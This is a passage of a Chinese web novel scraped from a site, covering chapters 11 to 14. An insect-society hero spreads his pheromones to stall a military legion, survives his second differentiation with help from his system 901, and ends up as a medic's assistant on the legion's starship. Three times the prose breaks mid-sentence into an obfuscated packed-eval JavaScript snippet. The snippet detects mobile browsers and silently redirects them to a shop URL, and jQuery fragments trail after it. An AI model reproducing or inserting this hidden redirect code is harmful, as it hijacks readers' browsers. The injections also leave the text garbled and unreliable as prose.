毕竟隐藏雄虫不管是在帝国还是联邦都是大罪,没有雌虫会冒着这么大风险隐瞒他的身份让他安然离开垃圾星的。 看方才那些军雌没有驻扎,也没有入住旅馆,都住在星舰之中,显然不会久留。 现在这种情况,只有两种选择,一是服用药物提前二次分化,二是想办法让军队多留几天,等他二次分化结束再作打算。 11. 第 11 章 药物伤身,二次分化本就凶险万分,如果他因为服用药物导致基因等级下降,即便分化成功了筹码也少了一层。 a级的亚雌稀有,可b级的亚雌却多如累卵。 如何才能让这么大一个军团多留几日呢? 克莱因,全称克莱茵星系,是帝国最靠近异兽的边境星系。 第五军团去那儿显然是为了战事,钟鱼打开光脑在军事频道翻了半天也没看到相关讯息。 至少,目前还没有发生战争,他们可能是有其他任务。 不是十万火急的战事,也许他动用一些手段,就能让他们多待几天。 可要怎样才能让他们多留几天呢? 钟鱼陷入沉思。 心中涌起熟悉的焦躁感,这是二次分化来临前的预兆。 他的二次分化就在这几天,营养剂今天晚上就到了,如今万事俱备只欠东风。 也许,只能依靠他在虫族最值钱的东西了。 做好决定之后,钟鱼也不再瞻前顾后,他快步上楼乔装打扮一番从后窗顺着管道爬了下去。 径直跑到了附近废旧市场那边的废墟中,在一处不起眼的残垣下,钟鱼躺了下来,凝神将精神力渗入灰墙的裂缝中,并将信息素涂抹在墙面上,再用精神力将墙面笼罩。 这样的话信息素的味道会维持很久都不会消散。 因为临近分化,所以他这几天信息素乱溢,要不是901,他早就暴露了。 好吧,钟鱼短暂地收回昨天对901用处的吐槽。 做完这些,钟鱼又连忙跑回了旅馆。 他回来的功夫,覆盖在信息素上的精神力会慢慢消散,这样属于a级雄虫的信息素味道就会四散开来。 附近的雌虫都会受到不小的影响,那些军团的雌虫肯定也会闻到,他们绝不会任一个a级雄虫留在垃圾星的。 不说他们的繁衍本能,便是为着荣誉前途,他们也不会弃之不顾的。 钟鱼坐在床上,心里很有把握,可还是有些紧张,手心热得直冒汗。 …… 星舰上,身形高大的黑发雌虫站在窗边看着窗外,一旁的副官敛下神色,低声问道:“元帅这次怎么不走官道,之前您不是一直不想经过B612吗?” 索伊尔黑色眼眸中情绪难辨,他低声道:“垃圾星过了十年还是这样。” “这样的荒芜、混乱、低级。”声音低沉悦耳,却难掩用词的贬低之意。 B612虽然被称为垃圾星,可除了身处这个星球上的虫族,住在其他星系尤其是赫利俄斯那边的雌虫很少会这样称呼它。 而此刻这么称呼它的竟然是第五军团的最高领袖索伊尔。 佩斯粗犷坚毅的脸上泛起涟漪,他从索伊尔还是一个普通士兵时就跟在他身边了,自然知道索伊尔是因为什么。 他走到索伊尔跟前,轻声说道:“元帅要不要下去看看?” 索伊尔只是摇头,厚重的军装大衣下,手指紧紧攥在手心,他的语气却很平缓。 “就这一次,之后再不想过来了。” 过了良久,索伊尔再次开口,“佩斯,看下星网上有没有什么消息。” 佩斯连忙打开光脑,在特别关注了刷新了一下,又在政治专区翻了半天。 见此,索伊尔笑了一下,“也好。” 突然星舰的门铃被摁响,在佩斯的示意下,一个军雌匆忙跑了进来。 “元帅,驻兵处发现雄虫踪迹,初步判断信息素至少为b级。” 雄虫?还是中高等级的雄虫? 可垃圾星怎么会有雄虫的踪迹,除非……是从别处来的,沦落至垃圾星。 想着索伊尔就跨步往外走去,佩斯追在后面,低声说道:“元帅,那布莱尔家族的事儿……” “先不用管,等回程的时候我再抽空回讯息给他。” 说着他们很快就下了星舰,跟着这只军雌朝前方走去。 甫一落地,索伊尔就闻到了高级雄虫信息素的气味,他眉头一皱,高声吩咐道:“是a级雄虫临近二次分化产生的信息素,先注射抑制剂。” 索伊尔的嗅觉格外灵敏,加之他闻过a级雄虫信息素的味道,所以很快就分辨出来了。 其余的军雌闻言,连忙从腰间掏出抑制剂注射。 索伊尔顺着清冽温和的气味,径直走到一处废墟前,看墙面的裂痕,也能猜出这儿是几十年前的建筑了。 他指尖摸了一下墙面然后放在鼻尖轻嗅,沉声道:“确实是a级雄虫的信息素,不是科技伪造的,应该就是方才留下的。” 这信息素纯净温和,闻着让人想起炎炎夏日里的冰水,乍一嗅只觉得温和,细闻才感到丝丝凉意。 他从未闻到过这样式的信息素,就连图伽那样性格的雄虫,信息素也不是这样的味道。 怎样的经历才能催生这样的味道呢? 索伊尔下意识想,这太过清淡了,简直不像信息素。 可确实是,它附在墙面上,仿佛在告诉他:你没见过,可并不代表它不存在。 有些东西,索伊尔见过,也感受过,他知道它存在,可那又怎样呢? 他无能为力。 雄虫的信息素一般都有气味,大多数是食物或者植物的气味,有些譬如泥土或者腐烂的木头这种气味已属罕见,而眼下这种没有任何气味却让人能感受到且同时联想到某样东西,那更是闻所未闻。 “去搜,肯定就在这附近。” 索伊尔环顾四周,垃圾星的阳光十年如一日的毒辣刺眼,让他想起很多不太美妙的回忆。 很快,他便受不住般,大步走回了星舰。 钟鱼猫在窗前看着这群军雌来来往往,等了好半晌,他终于瞧见了两个军装不太一样的军雌。 前头那个军雌黑发在阳光下泛着墨绿的光泽,他眯着那双黑色的眼睛,面容冷峻,看着很有威严。 明显生居高位,这个应该就是里面的领头了。 虫族二次分化之后长相就会定型,不管是二十岁还是一百多岁看起来都一模一样,唯一能分辨的只有眼神,年长一些的与年轻的眼神总会有些差异。 就像楼下那个匆匆走过的军雌一样,他的眼神锐利,又带着点沧桑,显然不是尼斯克那种刚二次分化没几年的雌虫,更不是埃布尔那种刚刚二次分化的雌虫。 听到他们都称之为“元帅”之后,钟鱼定下心来。 看来他们上钩了。 钟鱼舒缓一笑,松了口气。 成功一半了,接下来他只需静待二次分化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509709|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的到来。 就这样又过了两三日,钟鱼一直饮用小麦口味的营养剂,到第四日夜半,钟鱼感觉浑身滚烫,周身像被火烧一般,让他从梦中惊醒。 “嗯……” 他在床上翻滚了个把小时,可身体的痛苦没能有丝毫缓解,便从床头摸出止疼剂注射,注射完之后果然好受了不少。 钟鱼稍稍恢复神智,睁开眼睛一看,墙面竟然不知什么时候被他用精神力划出好几道抓痕,屋内的家具摆件好些散了架,躺在地上。 看来不能在这儿了,他的二次分化好像跟星网上的有些不一样。 想着,他抹除掉屋内精神力的痕迹,连着吃了两管营养剂,又将纱布酒精和剩下的几支止疼剂一股脑地塞进背包,背着就从窗户跳了下去。 站在地面,钟鱼才反应过来,他方才竟然直接从二楼跳下来了。 可现在竟然毫发无损,大概是二次分化的缘故。 要知道,雄虫的身体素质可比不上雌虫的一根小拇指:) 这一会儿功夫,身体又开始疼起来了,这疼痛似乎是从骨头缝里传至肺腑,然后蔓延至全身,让人难以忍受。 钟鱼也不再顾虑那么多了,虽然901隐藏了他的信息素,可他现在这个明显二次分化的模样,也不宜让其他雌虫看到。 想着,他用着最后的神智朝不远处的荒野奔去。 才跑了没多久,他就仰躺在土坡上不省人事。 钟鱼的身体痛苦得蜷缩在干裂的碎石上,嘴里不断地发出难耐的痛吟。 在这仿佛无休止的疼痛中,钟鱼的气息越来越弱。 他的脑中不断地响起警报,可他现在已经听不到了。 [检测到宿主身体异常……检测到宿主身体异常……] 其间夹杂着901焦急的声音。 [宿主,宿主,你一定要保持清醒啊……] [宿主,你醒醒,千万不要睡啊,你死了也回不去了,901没有时空穿梭的权限啊,主系统有这个权限可他没有时间回溯的权限啊!你死了就是真的死了!] [检测到宿主身体异常……检测到宿主身体异常……] [宿主,呜呜呜……宿主,你醒醒,你死了901也会被回收的,901不想死!901也不要你死!] [检测到宿主身体异常……检测到宿主身体异常……] [紧急权限已开启,回忆造梦权限启动中……] 就连主系统那边都没有料到心理评测达标的编号Z5024会栽在二次分化上,901申请紧急权限之后,主系统立马同意,并写下相关记录。 【经检测分析,编号Z5024虽然为P432虫族社会最完美的宿主,可因此次为首次系统投放,对该世界知之甚少,经验不足导致错估编号Z5024与肉身的适应程度。我处通过查探编号Z5024的过往分析推测,使用紧急权限-回忆造梦可最大力量增强编号Z5024的求生欲,从而让编号Z5024通过自身意志安然度过二次分化。】 【若失败,我处将使用特殊权限-时光回溯-同世界立时回溯加强编号Z5024与肉身的适应度,但该权限会对编号Z5024精神力造成影响,极有可能影响其基因等级,且不可逆转,故万不得已不得使用。】 12.第 12 章 钟鱼恍惚回到了过去,他又回到了那一天。 “砰”地一声,他的世界天崩地裂。 他看见爸爸了无生息地坐在驾驶座上,头上鲜血直流,一根断裂的大树穿过前挡玻璃扎进他的胸膛。 车内开始冒烟,车门被撞得扭曲,后门也无法打开,妈妈用尽力气将后窗玻璃打碎,让他钻了出去。 他再次看见了,那两张被鲜血浸染的脸。 大人模样的钟鱼明知这是梦,仍伸手去擦她脸上的血,细长的手指覆盖住记忆中的小手,他听见妈妈说:“小鱼儿,你快从那里爬出去,背过去,跑远一点。” 钟鱼永远也不能忘记,数不清多少次睡梦中,他伸手去擦她脸上的血,梦中的他不明白,为什么他的手变大了,变得跟爸爸的手一样大,可却怎么也擦不干净妈妈脸上的血。 直到这次梦中,他彻底明白了,他站在破旧的小车旁,看着小男孩趴在椅背上去推那粗大的树枝。 “爸爸……妈妈……不要……” 钟鱼,终于又听见了妈妈的声音,她永远那样温柔。 “小鱼儿,你要活下去,吃好吃的,玩好玩的,听话。” 身后的小鱼儿看着粗大的树枝压在妈妈的腿上,他闻到了汽油味,他被浓烟呛得几乎无法呼吸,他擦干眼泪抽噎着钻了出去。 他背过去一直跑一直跑,跑累了却听到“砰”的一声,他想只有蓝天崩了,大地裂开了才会有这样的声音吧。 钟鱼仰头看着蓝蓝的天空,垂着双手站在原地,静静地等待救援人员的到来。 “我的手怎么变成这个样子了?” “我的脸……”钟鱼往脸上摸去,接着他摸到了蓬松柔顺的头发。 这不是他的身体,是了,他想起来了,他现在在虫族,这只是一场梦,一场专门为他搭就的、明知是假的还会往里钻的一场梦。 “901,多谢你了。” 多谢你,不然我就失信了,那样爸妈会对我失望的。 钟鱼心率几于平缓,主系统第一时间得知了这一消息。 【实践表明,编号Z5024果然是最适合P432虫族世界的人类,他会成为我处任务系统在P432虫族世界的首个自发性任务者,我处真诚期待他将会给我们带来的惊喜。】 意识回笼,钟鱼就感觉浑身火烧般难受,疼痛相比之前减缓了不少,不过却闷得人喘不过气来。 钟鱼张开嘴巴呼吸,天上不知何时下起了毛毛雨,细雨绵绵,铺在脸上似沙漠中的甘霖,让钟鱼得以喘息。 “呼~” 钟鱼感觉浑身疼痛,尤其是背部,他稍稍往旁边挪了挪,躺在土面上缓了好一会儿,静待闷痛感渐渐消散。 直至这疼痛不再那么难以叫人忍受,钟鱼才有余力搭理脑中的系统。 [呜呜,宿主,你终于醒了,901好担心你!] 之前钟鱼总不喜它这种拟人的语气,如今倒觉得无所谓了,也不再深究901是否有生物的自我意识。 他变得更加平和了,即便他从前得到最多的评价就是温和。 钟鱼细细地感受着骨头中传来的痛楚,脑中与901交谈。 “901,我的身体是不是有变化?我感觉骨头疼得很。” [是啊宿主,你足足蹿高了二三十公分呢!身高比大多数的亚雌都高了半个头呢!] 亚雌一般会比雄虫高个几厘米,他现在这个身高反倒是更符合亚雌了。 901细细打量,惊叹出声。 [哇塞,宿主,幸好你从那儿离开了,你现在跟之前完全是两个样子,发色瞳色还有五官跟之前都不一样了!] 钟鱼无力地扯了扯嘴角,突然,他摸到了一个小盒子。 这是什么? 他没有出声询问,只是用细长的手指摸它的轮廓。 钟鱼半睁着眼睛看着灰蒙蒙的天际,雨水落在他的睫毛上,他不适地眨了眨,水珠很快顺着眼角滑落下去。 [宿主,这是901利用这次紧急权限,用转移功能给你带过来的。] 901还在叹息。 [唉,要是901平常也有这个权限那该多好,不知道可以从其他世界转移多少东西过来啊。] 漫长的分化终于结束了,钟鱼感觉通体舒畅同时又万分疲倦。 他撑着身体从地上爬了起来,手中紧紧抓住这个小木盒,将它塞入背包中。 站起来走了没两步,又倒了下去。 钟鱼实在是太累了。 倒在地上时,他迷迷糊糊的,好像看到了一双红色的眼睛。 “诶?他怎么见到我们俩就晕倒了?”克伊大步走过去,蹲下身戳了戳钟鱼的脸,嘟囔道:“居然不是半虫化?这儿怎么会有高等级的亚雌?” 身后的希尔走近,低头打量片刻,说道:“只有两个可能,一是等级突然提升了,还没来得及上报。二是其他星系的罪犯。” 这克伊当然知道,他轻啧了一声,掀开钟鱼的衣领看了看,“希尔,他没有印记,看来是第一种了。” 希尔眉头紧皱,猜出克伊所想,这亚雌生得确实好看,他沉声道:“怎么,你也染上这种低等级星球的习性了?” 克伊瞬间炸毛,他站起身将钟鱼一把捞了起来,“元帅让我们找那个雄虫,我们这几天没日没夜的找,可一点影子都没看见,现在我们突然见着了一个高等级亚雌,这不是缘分嘛。” 说着克伊也不再说什么,自顾自地扛着钟鱼往星舰方向走去。 希尔跨步跟了上来,还想说什么,被克伊提前打断,“希尔,我知道你想说什么,我们家族已经有好几个雄虫了,我还不至于这样。” “不过这地方偏僻,亚雌的身体又不比我们,你看他现在浑身发烫,还晕过去了,我先把他带走,等他醒了再说。” “咱们军团不是有不少亚雌嘛,他们在战场上也厉害得很呐,我这是给元帅征兵呢!” 希尔被克伊这一通话堵得哑口无言。 克伊跟他不一样,是中央星大家族出身,在第五军团不过是历练,等他二次分化了,职位自然会得到晋升。 只要是克伊想让这个亚雌留在第五军团,元帅不会说什么的。 希尔眨了眨眼睛,那双血红的眼睛在暗夜中显得有些诡谲。 他无声无息地跟在克伊身后。 很快他们就回到了星舰上,找了几天依旧没有雄虫的踪迹,索伊尔有些气馁,却也不想放弃。 可如今任务在身,不好耽搁太久,他只能下令停止搜寻,开拔前往莱茵克。 听到这个命令,克伊只是撇嘴,“B612可是出了名的低等级星球,上面全是半虫化的家伙和流放的罪犯,哪会有什么雄虫,那八成是那伙星盗留下来的雄虫信息素。” “不是说前段时间那个叫埃布尔的星盗顺利二次分化了吗?没准就是他抓的雄虫留下来的,这地方可是他们的常驻地。” 希尔不置可否,只是站在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514749|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着克伊将那个亚雌扔进舱内烘干衣物。 他自然也不信这个星球会有什么雄虫,更何况是高等级雄虫。 克伊又继续说着:“唉,连夜就得走,也不知道元帅怎么想的,不就是以前在这儿流放了几年嘛,至于这么忌讳嘛!本来还想等这个亚雌醒了问问他的,现在是没办法了。” “其他军团不是有军医吗?我看他待在我们军团当军医挺好的,这不比待在B612这个垃圾星好?” 不多时衣服就烘干了,克伊打开舱门,将钟鱼放在了一旁的床上。 “不会真是二次分化吧?身上什么伤都没有,怎么能晕这么久?” 看着钟鱼手里攥着个小礼盒,克伊好奇地戳了戳,床上的亚雌手动了动,握得更紧了。 克伊自觉没趣儿,就拉着希尔出去了。 过了没多久,钟鱼悠悠转醒。 他半睁着眼睛四周纯白的墙壁,眉头微蹙。 这是哪儿? 看样子不像垃圾星能有的东西,倒跟埃布尔的那艘飞舰有些相似。 难道是菲斯的飞舰? 钟鱼心里一突,忙从床上坐了起来,也顾不得头脑发晕,直接下了床朝外面走去。 刚走出舱门就看到不少服饰一样的雌虫,他们看了他一眼,然后窃窃私语。 “这不是昨晚克伊带回来的亚雌吗?” 克伊? 有点儿耳熟。 钟鱼偏头看了眼窗外,却是看到不少其他星球,其间沟横交错,有不少密闭的隧道。 他现在真的在飞舰上?他居然就这样轻易地离开垃圾星了! 这儿……是第五军团的星舰! 钟鱼简直不敢想象,他想尽千方百计才能接触到离开的机会,一觉醒来却直接实现了。 在这悠长的过道中,钟鱼只感觉多年的郁气消散一空,他低头将手中沾满泥土的礼盒打开,取出里面的墨绿色丝带。 幼时钟鱼很喜欢绿色,买什么东西他都首选绿色,那时他还有好几顶绿色的帽子,出去玩时总换着戴。 常有几个比他大一两岁的小男孩指着他的帽子笑,说他戴了绿帽子。 钟鱼不懂什么意思,却也听出不是什么好话,年幼的钟鱼小声地说:“我戴的就是绿色的帽子啊,因为我喜欢绿色。” 后来大了几岁,他回想起这些事儿,才知道他们说的是另一种含义。 彼时早已物是人非。 年幼时爸妈给他买的这些绿色的衣物玩具他全用不上了,东西太多太杂,他孤身一人也带不走。 唯独他从妈妈房中将这个小礼盒带走了。 这是当年妈妈给他准备的开学礼物,本来是留给他的惊喜,可惜晚了几年。 这十几年,钟鱼一直将它带在身边,却从没有将它打开过。 如今隔着时间与未知的空间,钟鱼将这一针一线缝制的纯色丝带取出,小心地系在了左边手腕上。 细长的,也许是一根小小的领带,布料却很是柔软,不像领带那样硬挺。 钟鱼不记得了,不过他看过以前的照片,那时候他经常穿短袖衬衫系这种丝带,多数时候只是打一个大大的蝴蝶结,有时候只是系一个松松垮垮的活结。 过道并不十分宽阔,钟鱼不顾一旁的议论,大步朝前走,走着走着小跑了起来。 墨绿的丝带紧紧地系在他的手腕上,随着过道中的气流飘荡。 格外的显眼,像是无际荒原中的一根嫩芽。 13.第 13 章 克伊和希尔从索伊尔的车舱出来见到的就是这个场景。 并不宽阔的过道,一个身材高挑的亚雌朝他们奔来,清风将他过长的银灰色头发扬起,露出那张白净清俊的脸来。 “哦,他醒了,希尔。”克伊站在原地说道。 希尔点头,“精神不错,只是不知道他能不能胜任这份工作。” 两只雌虫高大的身影将过道口子挡得严严实实,钟鱼慢慢停了下来。 他收敛笑容,眼角眉梢仍带着笑意,“你们好,这是第五军团吗?” 见到这两位时,钟鱼就已经确定这是第五军团的星舰了。 克伊笑嘻嘻地点头,“我们俩见你晕倒在地上,就把你带过来了,要回去的话只能等返程了。” 钟鱼连连摇头,过了一会儿才解释道:“我正打算加入第五军团呢!” 闻言,克伊和希尔对视一眼。 钟鱼继续说道:“前段时间我等级提升,本来已经打算好要离开B612了,后来听说有军团要来,我便想着来这儿碰碰运气,没想到二次分化完直接昏过去了。幸好没有错过。” 听到这话,克伊高兴得不得了,走上前攀住钟鱼的肩膀,“我已经跟元帅说了,可元帅问那边没有你的基因信息,你是星盗团的?” 啊?这都能查到。 钟鱼只得点头,“我叫布莱斯·伊斯特,是跟着星盗来的B612。” “难怪……” 克伊也不计较那么多,毕竟星盗团恶名昭著,除了赫利俄斯之外的其他星系,就是抓走一些雌虫也没什么部门会去管。 这是费力不讨好的事儿。 克伊笑眯了眼睛,“你好,布莱斯,我叫克伊·索菲克,他是希尔,第五军团的中尉。” “布莱斯,你既然想留在第五军团的话,可以先给伽什打打下手吧。” 就这样,钟鱼以布莱斯·伊斯特的身份在第五军团留了下来。 伽什·图卡是一只中年亚雌,第五军团的军医。 雌虫的恢复能力虽然很强,可军队里的高等雌虫毕竟只是少数,大多数的中低等级恢复能力要弱很多,为了长期发展,军队里面还是会配备军医。 不止军医,帝国每年还会安排中高等级雄虫进行精神力疗愈,尽可能地减少军队士兵的损伤。 钟鱼跟着克伊来到了治疗室,这是伽什·图卡的车舱。 门口静悄悄的,钟鱼从窗口瞥了一眼,里面躺了几个军雌,肉眼没看见有什么外伤。 “伽什不太好相处,布莱斯,你自求多福吧,无聊了可以来找我玩儿。”说完克伊就走了。 也没有看到什么门铃,钟鱼只能屈起手指敲了敲。 里面只有几个军雌轻微的痛呼声。 钟鱼探头看了一眼,推门走了进去。 一个身形瘦弱的亚雌坐在皮椅上专注地盯着桌上的投影,他眼下有些青黑,穿着打扮很是精致。 看了一会儿,伽什问病床上的军雌,“现在感觉怎么样?” “还是有些闷痛。” 伽什冷冷地说道:“治不好了,只能等今年的义务服务了,我上报给你预约。” 军雌脸色灰败,捂着胸口从钟鱼身旁走过。 二次分化之后,钟鱼的身体变化了许多。 他也不知道自己的基因等级有没有下降,只是他只瞥了眼经过的雌虫,就能清清楚楚地看到他的精神领域一团糟。 那是一只基因等级b+、临近狂暴的军雌。 只是匆匆一瞥,钟鱼就能看清他所承受的痛苦。 难道这就是成年a级雄虫与生俱来的能力吗? 钟鱼下意识地想要伸出精神力将军雌杂乱的精神领域打扫干净。 他克制住了自己,目视着军雌远去。 待那个军雌走后,伽什才留意到钟鱼,他看了眼钟鱼,面露讶色,“他叫亚索,上次被异兽攻击受了重伤,导致精神领域受到影响,离死期不远了。” 钟鱼一惊,低声道:“你刚刚不是说给他预约了义务服务吗?” 伽什白了他一眼,也没有顾及治疗室里还有其他雌虫,“得了吧,连刚孵化出来的小虫崽都知道义务服务不过是个摆设,就是等五十年也排不到b级军雌。” 义务服务并非无用,只是虫族社会等级限制严格,低等级的雄虫无法给高等级的雌虫进行精神力疗愈甚至是安抚。 而高等级的雄虫又被大家族垄断,就是一年中少有的几次义务服务也会优先给帝国的高等级雌虫。 帝国的a级雄虫珍贵,可同等级的雌虫却多如牛毛。 更何况这些b级雌虫了。 “你就是克伊带回来的那个亚雌?”伽什甩了一下及腰的长发,“长得确实好看,像尊贵的高级雄虫。” 这亚雌似乎也不是那么难以相处,钟鱼微微一笑,“你好,克伊让我来给您当助手,我叫布莱斯·伊斯特。” “伽什·图卡,”伽什兴味道:“伊斯特?我倒是没有听闻过。” 因为那是我胡编的,钟鱼保持微笑。 此时钟鱼还不知道,在这个虫族社会,只有家族出身的虫族才会拥有姓氏。 治疗室内其他的雌虫都好奇地盯着钟鱼看,有的胆大地还自我介绍一番,跟钟鱼搭讪起来。 钟鱼一一扫过他们,眉头微蹙。 “布莱斯,你好,我叫布雷斯。” 这个是a级雌虫,也是精神领域出了点问题,不过比方才的亚索好很多,伽什给他用了点药就暂时压制住了。 “你好,布莱斯,我叫舒勒。” 这个雌虫是c+等级。 钟鱼眉毛拧得更紧了,舒勒面色惨白,精神领域荒芜一片,撑不了几天就会陷入狂暴状态了。 舒勒捂着胸口疑惑地看向钟鱼,脸上挂着灿烂的笑容,“布莱斯,你怎么了?” “这几天先注射这个抑制剂,身体感觉灼烧就立马注射,这样可以撑到抵达莱茵克。”伽什看着桌上的投影,声音多了些柔和。 舒勒接过伽什递过来的一箱抑制剂,点了点头走出去。 临到门口时,他又扭头朝钟鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520803|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“布莱斯,你长得可真好看,希望到莱茵克时我还能再见到你。” 待这些雌虫走后,钟鱼才坐了下来。 他问一直忙碌不停的伽什,“他们精神领域出了问题,怎么还是上了星舰呢?” 伽什将调制好的抑制剂装进注射器中,“他们上星舰的时候是正常状态,只是他们的精神领域不稳定,随时都可能陷入狂暴,目前帝国和联邦都无法解决这个问题。” 钟鱼神色怅然,“那我们只能看着他们陷入狂暴然后死去吗?” 伽什诧异地看了眼钟鱼,冷淡道:“抵达莱茵克之后,那上面残留的异兽气息会激得这些临近狂暴的雌虫当场虫化,为避免其他雌虫损伤,他们身边的雌虫会在他们即将虫化时将他们击杀。” 看见钟鱼眼中地悲悯,伽什叹息一声,“布莱斯今后这样的事情多着呢!只要陷入狂暴之后虫化,就是s级都只能被击杀,不然他们只会变成更高武力值的异兽。” “陷入狂暴是帝国军雌的宿命,在战场被击杀是他们最后的使命。” “布莱斯,虫族的雌虫实在是太多了,尊贵的雄虫阁下就是不眠不休也无法疗愈帝国所有的a级雌虫,更何况这群中低等级的雌虫了。” 钟鱼抓着绿色丝带在手腕上绕了两圈,他清楚,他能轻松地将方才那几个雌虫治好。 只需用精神力轻轻一拨,亚索就可以恢复了,舒勒的要费些精神力,可对他来说只是举手之劳。 ‘901,你知道我现在的基因等级是多少吗?’ [宿主,经901检测,宿主现在的基因等级为s级哦,只是由于才二次分化的原因,宿主的异能还未完全觉醒哦!] s级,居然是s级! 怀特曾说过,整个星际现在都只有一位s级的雄虫,那就是虫帝的伴侣图伽阁下。 这是整个星际都知道的事情,几十年前,图伽阁下突然晋升成为s级,从而成了虫帝唯一的伴侣。 他们缔结婚姻不过几年,虫帝的基因等级就晋升成了s+,成为帝国唯一的s+雌虫。 图伽二次分化时还只是一只b级雄虫,后来不知何故,竟然连连晋升基因等级,直至s级。 成了虫帝的伴侣后,图伽再未离开过皇宫。 怀特说哪有雄虫会想离开帝国最繁华的地方,钟鱼也不知图伽是不能离开,还是不想离开。 不管是哪一种,对他来说都不算是好兆头。 他决不能暴露。 可他真的要这样见死不救吗? 钟鱼抚摸着手心的丝带。 我现在跟他们是同类,不是吗? ‘901,除了雄虫的精神力和信息素,还有其他方法能救狂暴状态的雌虫吗?’ [目前没查询到相关记录,不过据史料记载,上上一任虫帝的九皇子格西亚·维斯拥有治疗系异能,该异能可以治疗临近狂暴的雌虫,但过多使用对身体有所损耗,据星网民众推测,格西亚很有可能是因为这个原因导致精神力不济,最后即便有a级雄虫疗愈还是陷入狂暴从而死亡。] 14.第 14 章 钟鱼心里一突,沉默下来。 伽什并不是多话的亚雌,一时间,治疗室内只有仪器操作的声音和轻微的呼吸声。 钟鱼就这样跟着伽什住在了治疗室,白天的时候他就在一旁看着伽什制作药剂,有时来了雌虫就帮着递东西,晚上睡在治疗室一旁的小隔间。 因为钟鱼长得好看,又很像雄虫,治疗室的门口总是围着几个雌虫。 这些雌虫怕被伽什骂,只敢站在门外,等钟鱼闲暇时拉着他聊天。 钟鱼被他们扰得不行。 倒不是嫌他们烦,觉得他们聒噪。 而是这儿所有的雌虫精神领域都不太好,只是大多数症状都还算轻微,要过个几年甚至十几年才会变成亚索那样。 钟鱼随便一看,便能将他们的基因等级和精神领域情况看得清清楚楚。 也许这便是s级雄虫的孤独。 钟鱼原以为高等级雄虫都有这种能力,现在才恍然明白这是独属于s级雄虫的能力。 难怪即便是s级雄虫也未能长寿。 钟鱼几乎能想象到那个场景,尊贵的s级雄虫站在帝国最高层俯瞰众生,他看到的不是雌虫,而是他们的死期,虫族无休止的诅咒。 可他无能为力,个体的力量终究有限。 星舰离莱茵克越来越近,钟鱼也愈来愈烦躁。 他常双眉紧锁,这烦躁比二次分化前来得更加汹涌,让他无法招架,更无法专心调试药剂比例。 “砰!”钟鱼再次分神,这次没能及时抓住,试管掉在地上摔得粉碎。 伽什瞥了他一眼,“布莱斯,你这是怎么了?累了就去外面跟他们聊会儿天。” “还是被他们动摇了?”伽什抿着嘴点了地面清洁的按钮,“玩玩就玩玩,你要想跟他们交.配尽管去。” 钟鱼一愣,听明白意思之后连忙摇头。 “伽什,我没有这么想,我只是在想亚索和舒勒这几天怎么没来。” 伽什眼眸一闪,灰绿色瞳孔泛着淡淡的幽光,“亚索最近在训练,至于舒勒,等那箱抑制剂注射完,星舰就已经停在莱茵克了,落地处宽敞,万一他提前虫化也不会让星舰受损。” “收起你那副表情吧,布莱斯,你可怜他们,谁来可怜我们亚雌啊,我们可是天生的短命鬼呢!我看啊你趁现在年轻,抓紧去跟那群军雌好好地玩玩儿。” “不过你等级看着还挺高的,没准儿回程到了中央星,也能跟中低等级的雄虫玩玩儿。” 钟鱼不喜欢伽什的这种口吻,可他又没有立场生气。 他只是说道:“伽什,别说了,我想出去透透气。” 说着,钟鱼没看伽什冷硬的脸,推门走了出去。 门口的雌虫见钟鱼难得的面无表情,他们凑过来问发生了什么事。 钟鱼不欲多解释,只说自己头一次来莱茵克,想在过道这里看看风景。 “这黑漆漆的星际隧道有什么好看的?” 身后的雌虫嘟嘟囔囔地议论着。 走过狭长的过道,钟鱼漫无目的地四处走,不知怎么的就到了训练室。 看着上面的门牌,钟鱼本来想离开的,可想起伽什刚才的话,又停了下来。 训练室相比其他房间大了好几倍,可以容纳数十个雌虫训练,它的周边全是透明的玻璃。 不多时,门就从里面推开了。 钟鱼稍稍后退,皮鞋发出刺耳的摩擦声。 是克伊。 他将头从门缝中探了出来,大半个过于强壮的身体掩藏在门后,只看这张漂亮的脸,倒有些像星网上的高级雄虫。 “布莱斯?你怎么来这儿了?”克伊笑意吟吟,露出门牙两侧尖尖的牙齿,“在伽什那儿感觉怎么样?我听说你受欢迎得很,他们都夸你长得好看脾气还好呢!” 钟鱼轻缓地呼吸,他从克伊汗水中闻到了浅淡的信息素。 居然……是一股熟肉的香味,离得近了,又有些像烤肉味。 “我来看看亚索恢复得怎么样。”钟鱼说完屏住呼吸。 信息素会随着汗腺张开涌出一些,不至于浓烈,但他并不喜欢。 “亚索?”克伊将门打开,拉着钟鱼走了进去,“亚索这几天也不知道怎么了,发了疯地训练,我看呐,他是不要命了。” 